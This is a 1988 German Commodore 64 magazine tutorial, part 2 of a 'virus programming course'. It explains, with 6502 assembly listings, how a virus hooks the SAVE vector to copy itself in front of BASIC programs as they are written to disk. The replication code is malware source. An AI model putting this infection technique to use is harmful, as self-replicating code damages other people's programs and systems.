Magic Disk 64

home to index to html: MD8808-KURS-VIRENPROGRAMMIERKURS_TEIL_2-7.1.html
         Virus-Programmierkurs          
‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾
Sicher haben Sie schon gespannt auf  das
Erscheinen der Augustausgabe  von  Magic
Disk 64 gewartet. Denn in unserem Virus-
Programmierkurs  wird's  jetzt   langsam
ernst. Heute wollen wir uns - wie in der
letzten  Ausgabe  besprochen  -  um  die
Artenerhaltung  unseres  Virus  kümmern,
damit er auch viele kräftige und gesunde
Nachkommen haben wird!                  
An dieser Stelle sei noch  erwähnt,  daß
sich auf der Magic  Disk  folgende  Pro-
gramme befinden,  die  alle  mit  diesem
Kurs zusammenhängen:                    
"MD-VIRUS" ist ein infiziertes  Gag-Pro-
gramm, das  zur  Aktivierung  des  Virus
dient. Der Syntax-Error am  Programmende
gehört so und ist kein Programmfehler!  
"MDV-SOURCE" ist der Sourcecode (=Quell-
code)  im  Hypra-Ass-Format  zum  Virus.
Falls Sie Hypra-Ass nicht  besitzen,  so
hilft Ihnen sicherlich                  
"MDV-SOURCE.ASC"  weiter.  Das  ist  der
Source-Code als ASCII-File  gespeichert.
Dieser kann ohne Probleme mit  GET#  von
der  Diskette  gelesen  und  ausgedruckt
werden.                                 
Doch nun wollen  wir  ans  "Eingemachte"
gehen und  uns  mit  der  Programmierung
selbst befassen.                        
Zuerst wollen wir  uns  überlegen,  wann
die Brunftzeit (die Zeit,  an  der  sich
der Virus vermehrt)  für  unser  kleines
Tierchen am günstigsten ist.  Da  sticht
der Vorgang des Diskettenzugriffs natür-
lich sofort ins Auge, denn dann  ist  es
am unauffälligsten, da die Diskettensta-
tion sowieso läuft. Und  außerdem  teilt
uns der Programmierer bei einer  solchen
Aktion auch gleich mit, wie man  ein  zu
infizierendes Programm beim Namen nennt.
Man muß also nicht  noch  aufwendig  auf
der Diskette nach Programmen  und  deren
Namen suchen.                           
Gesagt - getan. Um  dies  zu  verwirkli-
chen, müssen  wir  prinzipiell  nur  den
Speichervorgang an sich abfangen können.
Das heißt, unser Virus  muß  sich  immer
dann  einschalten,  wenn  das  Betriebs-
system des C64 vom Benutzer dazu  bewegt
wird, Daten zum Floppy zu schicken.     
Dieses Problem kann sehr einfach  gelöst
werden. Das Betriebssystem benutzt  näm-
lich einen Vektor, der auf  die  eigent-
liche Save-Routine zeigt. Zur Erklärung:
Ein  Vektor  sind  zwei  Speicherzellen,
deren Inhalt im Low-High-Format auf  ein
entsprechendes Unterprogramm zeigt. Vek-
toren  können  mit  indirekten  Sprüngen
adressiert werden. Speichert man z.B. in
den Speicherzellen $1000 und  $1001  die
Werte $af  und  $c0,  so  wird  bei  dem
Maschinensprachebefehl JMP  ($1000)  die
Adresse $c0af angesprungen.             
Der SAVE-Vektor steht in  den  Speicher-
zellen $0332 und $0333 (=dezimal 818 und
819). Bei jedem SAVE-Befehl  wird  indi-
rekt über diesen Vektor gesprungen.  Ein
idealer Platz also für einen  Virus,  um
in das Geschehen  einzugreifen.  Er  muß
nur bei  seiner  (einmaligen)  Initiali-
sierung diesen Vektor  auf  eine  eigene
Routine "verbiegen". Bis zum Ausschalten
des Computers wird dann bei jedem  SAVE-
Befehl die eigene Routine angesprungen. 
Zur Vervollständigung des  Gesagten  sei
noch erwähnt, daß dieser Vektor  eigent-
lich schon mitten  in  der  SAVE-Routine
angesprungen wird. Doch das ist für  uns
nur von Vorteil, da er genau dann aufge-
rufen wird, nachdem alle  Voreinstellun-
gen erledigt wurden, und wir diese  des-
wegen nicht noch selbst  erledigen  müs-
sen. Um diesen Vorgang genauer zu erläu-
tern, muß ich Ihnen zunächst  die  SAVE-
Routine etwas näher beschreiben:        
Wie Sie ja vielleicht wissen,  wird  die
SAVE-Routine des Betriebssystems mit dem
Befehl JSR $FFD8 aufgerufen. Vorher  muß
man aber noch einige Parameter wie Lauf-
werk,  Programmname,  Start-  und   End-
adresse etc. festlegen. Diese  Parameter
werden folgendermaßen übergeben:        
SETPAR setzt Geräte- und Sekundäradresse
SETNAM übergibt Programmnamen und -Länge
Jetzt müssen Anfangs- und Endadresse  in
zwei  Speicherzellen  in  der   Zeropage
festgelegt werden. Am besten eignen sich
die Adressen $FB und  $FC,  da  sie  vom
Betriebssystem  sonst  nicht   verwendet
werden.                                 
Nun den  Zeiger  auf  die  erste  dieser
Speicherzellen in den Akku laden, Endad-
resse des abzuspeichernden Bereichs in X
und Y-Register laden und SAVE aufrufen. 
Damit  das  verständlicher  wird,  folgt
hier  zunächst  das  Quellisting   einer
Maschinenspracheroutine, die  den  Spei-
cherbereich von $0801  bis  $11AB  unter
dem  Namen   "DEMOSAVE"   auf   Diskette
abspeichert:                            
10  -.ba $c000          ;Basisadresse   
20  -.eq save = $ffd8   ;Konstanten-    
30  -.eq setpar = $ffba ;definitionen   
40  -.eq setnam = $ffbd ;               
50  -;                                  
100 - lda #$01     ;Filenummer          
110 - ldx #$08     ;Geräteadresse       
120 - ldy #$01     ;Sekundäradresse     
130 - jsr setpar   ;Parameter setzen    
140 - lda #$08     ;Länge des Namens    
150 - ldx #<(name) ;Adresse low         
160 - ldy #|(name) ;Adresse high        
170 - jsr setnam   ;Namen setzen        
180 - ldx #$01     ;Anfangsadresse low  
190 - ldy #$08     ;Anfangsadresse high 
200 - stx $fb      ;in $fb und $fc      
210 - sty $fc      ;zwischenspeichern   
220 - lda #$fb     ;Zeiger auf Speicher 
230 - ldx #$ab     ;Endadresse low      
240 - ldy #$11     ;Endadresse high     
250 - jsr save     ;SAVE anspringen     
260 - rts          ;fertig!             
270 -;                                  
280 -name   .tx "demosave"              
Werfen wir nun einen kleinen Blick "hin-
ter die Kulissen" - sprich ins Betriebs-
system. Dabei beginnen wir an der  Stel-
le,  an  der   auch   die   SAVE-Routine
beginnt, nämlich bei Adresse $FFD8. Hier
ein kleiner Auszug, wie Sie ihn sich mit
einem Disassembler bzw.  Speichermonitor
auch "live" ansehen können:             
FFD8  JMP $F5DD                         
Es wird also nur ins Innere des  Systems
weitergesprungen. Dort verfolgen wir das
Betriebssyetem weiter:                  
F5DD  STX $AE    ;Low-Byte Endadresse   
                  speichern             
F5DF  STY $AF    ;High-Byte Endadresse  
                  speichern             
F5E1  TAX        ;Zeiger auf Anfangs-   
                  adresse ins X-Register
F5E2  LDA $00,X  ;Low-Byte der Anfangs- 
                  adresse holen         
F5E4  STA $C1    ;und speichern         
F5E6  LDA $01,X  ;dasselbe mit dem      
F5E8  STA $C2    ;High-Byte             
F5EA  JMP ($0332);Save-Vektor           
Sie sehen, daß erst in der letzten Zeile
auf die SAVE-Routine verzweigt wird. Die
übrigen Zeilen sind nur dazu da, die Pa-
rameter für später zwischenzuspeichern. 
Hier also ist der Punkt,  an  dem  unser
Virus eingreifen darf. Er  sollte  somit
auch alle Funktionen übernehmen, die das
Betriebssystem  normalerweise  ausführt,
nur daß er  sich  zusätzlich  auch  noch
mitspeichert.  Um  herauszufinden,   was
genau er da tun soll, verfolgen wir  die
normale Saveroutine weiter:             
Einsprung über  Vektor  $0332/$0333  von
$F5EA:                                  
F5ED  LDA $BA   ;Geräteadresse laden    
F5EF  BNE $F5F4 ; wenn <| 0 dann weiter 
F5F1  JMP $F713 ;"ILLEGAL DEVICE NUMBER 
                 ERROR" ausgeben        
F5F4  CMP #$03  ;vergleiche mit Bild-   
                 schirmcode             
F5F6  BEQ $F5F1 ;wenn ja, dann Fehler   
F5F8  BCC $F659 ;wenn <3, dann Sprung zu
                 Test auf RS232 oder    
                 Cassette               
F5FA  LDA #$61  ;Sekundäradresse        
F5FC  STA $B9   ;zwischenspeichern      
F5FE  LDY $B7   ;Filenamenlänge holen   
F600  BNE $F605 ;|0, dann weiter        
F602  JMP $F710 ;"MISSING FILE NAME     
                 ERROR" ausgeben        
F605  JSR $F3D5 ;Filename auf IEC-Bus   
F608  JSR $F68F ;"SAVING" ausgeben      
F60B  LDA $BA   ;Geräteadresse laden    
F60D  JSR $ED0C ;und LISTEN senden      
F610  LDA $B9   ;Sekundäradresse holen  
F612  JSR $EDB9 ;und für LISTEN senden  
F615  LDY #$00  ;Zähler auf 0 setzen    
F617  JSR $FB8E ;Startadresse nach      
                 $AC/$AD kopieren       
F61A  LDA $AC   ;Startadr.-Low laden    
F61C  JSR $EDDD ;und senden             
F61F  LDA $AD   ;Startadr.-High laden   
F621  JSR $EDDD ;und senden             
Ab hier (also ab $F624) folgt noch  eine
kleine Routine, die jedes Byte  bis  zur
Endadresse durchgeht,  mit  der  Routine
bei $EDDD an die Floppy sendet  und  an-
schließend das File wieder schließt  und
zurückspringt.                          
Wie Sie sehen, ist der  erste  Teil  nur
dazu da, die Geräteadresse zu überprüfen
und die  entsprechenden  Fehlermeldungen
auszugeben. Anschließend kommt erst  der
Anfang  der  eigentlichen   Saveroutine.
Hier wird dann das  "saving"  ausgegeben
und der Floppykanal  geöffnet.  Bis  zur
Adresse $F617 alles Dinge, die  für  uns
unwichtig sind, und die wir auch einfach
in  unserem  Virus  übernehmen   werden,
damit  er  auch  voll   kompatibel   zum
Betriebssystem ist.                     
Erst ab $F61A wird es für  uns  interes-
sant. Hier werden nämlich Low- und High-
byte der Anfangsadresse des zu  savenden
Bereichs an die Floppy geschickt,  damit
die Loadroutine später weiß,  wohin  sie
das  eingeladene  Programm  legen  soll.
Dieser Teil ist deshalb so  wichtig  für
uns, weil wir unseren  Virus  grundsätz-
lich nur vor Programme  kopieren  lassen
wollen, die an den  normalen  Basicstart
(also $0801) geladen werden, da man hier
davon ausgehen kann, daß das  entsprech-
ende Programm mit RUN  gestartet  werden
muß.  Würde  sich  der  Virus  auch  vor
Maschinenprogramme  kopieren,  die  bei-
spielsweise  bei  $C000  anfangen,  dann
könnte das verheerende Folgen haben,  da
er selbst ja ein mit RUN startbares Pro-
gramm ist und man ihn nicht einfach  mit
einem SYS starten kann.                 
Also müssen wir an dieser  Stelle  über-
prüfen, an welcher Stelle  sich  das  zu
savende Programm befindet. Ist das nicht
$0801, so hält sich  unser  Virus  schön
brav im Hintergrund und tut gar  nichts.
Ist es aber ein Programm, das bei  $0801
beginnt, so soll  er  sich  mitkopieren.
Also bauen wir an dieser Stelle noch ein
paar Vergleichsbefehle ein:             
      LDA $AC   ;Lo-Byte Anfangsadresse 
      CMP #01   ;= $01?                 
      BEQ LAB1  ;Ja, dann Byte senden   
      LDY #$01  ;Flag setzen            
LAB1  JSR $EDDD ;Lo-Byte senden         
      LDA $AD   ;Hi-Byte Anfangsadresse 
      CMP #$08  ;= $08?                 
      BEQ LAB2  ;Ja, dann Byte senden   
      LDY #$01  ;Flag setzen            
LAB2  JSR $EDDD ;Hi-Byte senden         
      CPY #$01  ;Flag gesetzt?          
      BNE OKAY  ;nein, also vermehren!  
      LDY #$00  ;Ja, Y zurücksetzen     
      JMP $F624 ;normal weitersaven     
Hier die genaue Funktionsweise:  Das  Y-
Registerwurde bei $F615 ja mit 00  gela-
den. Sollte jetzt  bei  einem  Vergleich
ein Wert ungleich dem verglichenem  Wert
sein, so wird  das  Y-Register  mit  dem
Wert 01 beschrieben und  erst  dann  das
Byte gesendet. In der  Folge  wird  dann
verglichen, ob  das  Y-Register  noch  0
ist. Ist das der Fall, so darf sich  der
Virus kopieren. Ansonsten verzweigt  das
Programm in die normale Saveroutine.    
In dieser Form konnten wir  die  Assemb-
lerbefehle bisher aus dem Betriebssystem
übernehmen. Jetzt müssen wir auch einmal
etwas eigenes leisten, nämlich eine Rou-
tine schreiben, die  den  Virus  an  die
Floppy sendet. Bis jetzt sind der  Flop-
pykanal geöffnet  und  die  Startadresse
übergeben. Normalerweise würde jetzt das
zu savende  Programm  kommen,  doch  das
soll ja gerade nicht der Fall sein.  Wir
müssen zuerst den Virus  an  die  Floppy
senden und  dann  das  eigentliche  Pro-
gramm. Dieses Problem lösen wir  folgen-
dermaßen:                               
OKAY  LDA #<(DATA) ;Lo-Anfangsadresse   
      STA $FB      ;des Virus setzen    
      LDA #|(DATA) ;dasselbe mit dem    
      STA $FC      ;Highbyte            
      LDA #<(ENDE) ;Lo-Endadresse       
      STA $F9      ;setzen              
      LDA #|(ENDE) ;dasselbe mit dem    
      STA $FA      ;Highbyte            
      LDY #$00     ;Zähler löschen      
LOOP  LDA ($FB),Y  ;Zeichen laden       
      JSR $EDDD    ;und senden          
      JSR INCCOUNT ;Zähler um 1 erhöhen 
      BCC LOOP     ;Weiter, wenn noch   
                    nicht Endadresse    
      JSR SAVECONT ;Wenn doch, dann     
                    Programm saven      
Zur Dokumentation: Am Anfang setzen  wir
Start- und  Endadresse.  Die  Endadresse
hinterlegen  wir  in  $F9/$FA,  da   die
INCCOUNT-Routine diese  Werte  zum  Ver-
gleichen braucht. Diese Routine steht in
unserem Source-Listing übrigens ab Zeile
8210 und soll an  anderer  Stelle  näher
erläutert werden. Soviel sei aber  schon
hier gesagt:                            
Die Routine erhöht den  Zeiger  in  $FB/
$FC und vergleicht ihn  mit  der  Endad-
resse, die wir ja  in  $F9/$FA  abgelegt
haben. Sind beide  Adressen  gleich,  so
setzt sie das Carryflag, womit  die  Ab-
frage nach JSR INCCOUNT zu erklären ist.
Ist das Carryflag gelöscht, so  ist  das
Ende  noch  nicht   erreicht   und   die
Schleife wird  wiederholt.  Im  Anschluß
wird dann wieder die normale Saveroutine
des Betriebssystems angesprungen, um das
eigentliche Programm  abzuspeichern.  In
der Konstanten  SAVECONT  ist  die  Zahl
bzw. Adresse $F624 gespeichert.         
Hiermit sind wir  am  Ende  des  zweiten
Teils des  Virusprogrammierkurses  ange-
langt. Die oben beschriebene Saveroutine
finden Sie  ab  Zeile  2220  im  Source-
listing,  allerdings  mit  zwei  kleinen
Abweichungen. Die eine hat mit der  Ver-
mehrung beim Laden zu tun, die wir näch-
sten Monat besprechen  wollen.  Und  die
andere ist für den kleinen  Gag  zustän-
dig, mit dem der Virus auf sich aufmerk-
sam machen soll.                        
Bis zum nächsten  Teil  bleibt  uns  nur
noch, Ihnen viel Spaß in Ihrer Aktivität
als Virologe zu wünschen.               
Valid HTML 4.0 Transitional Valid CSS!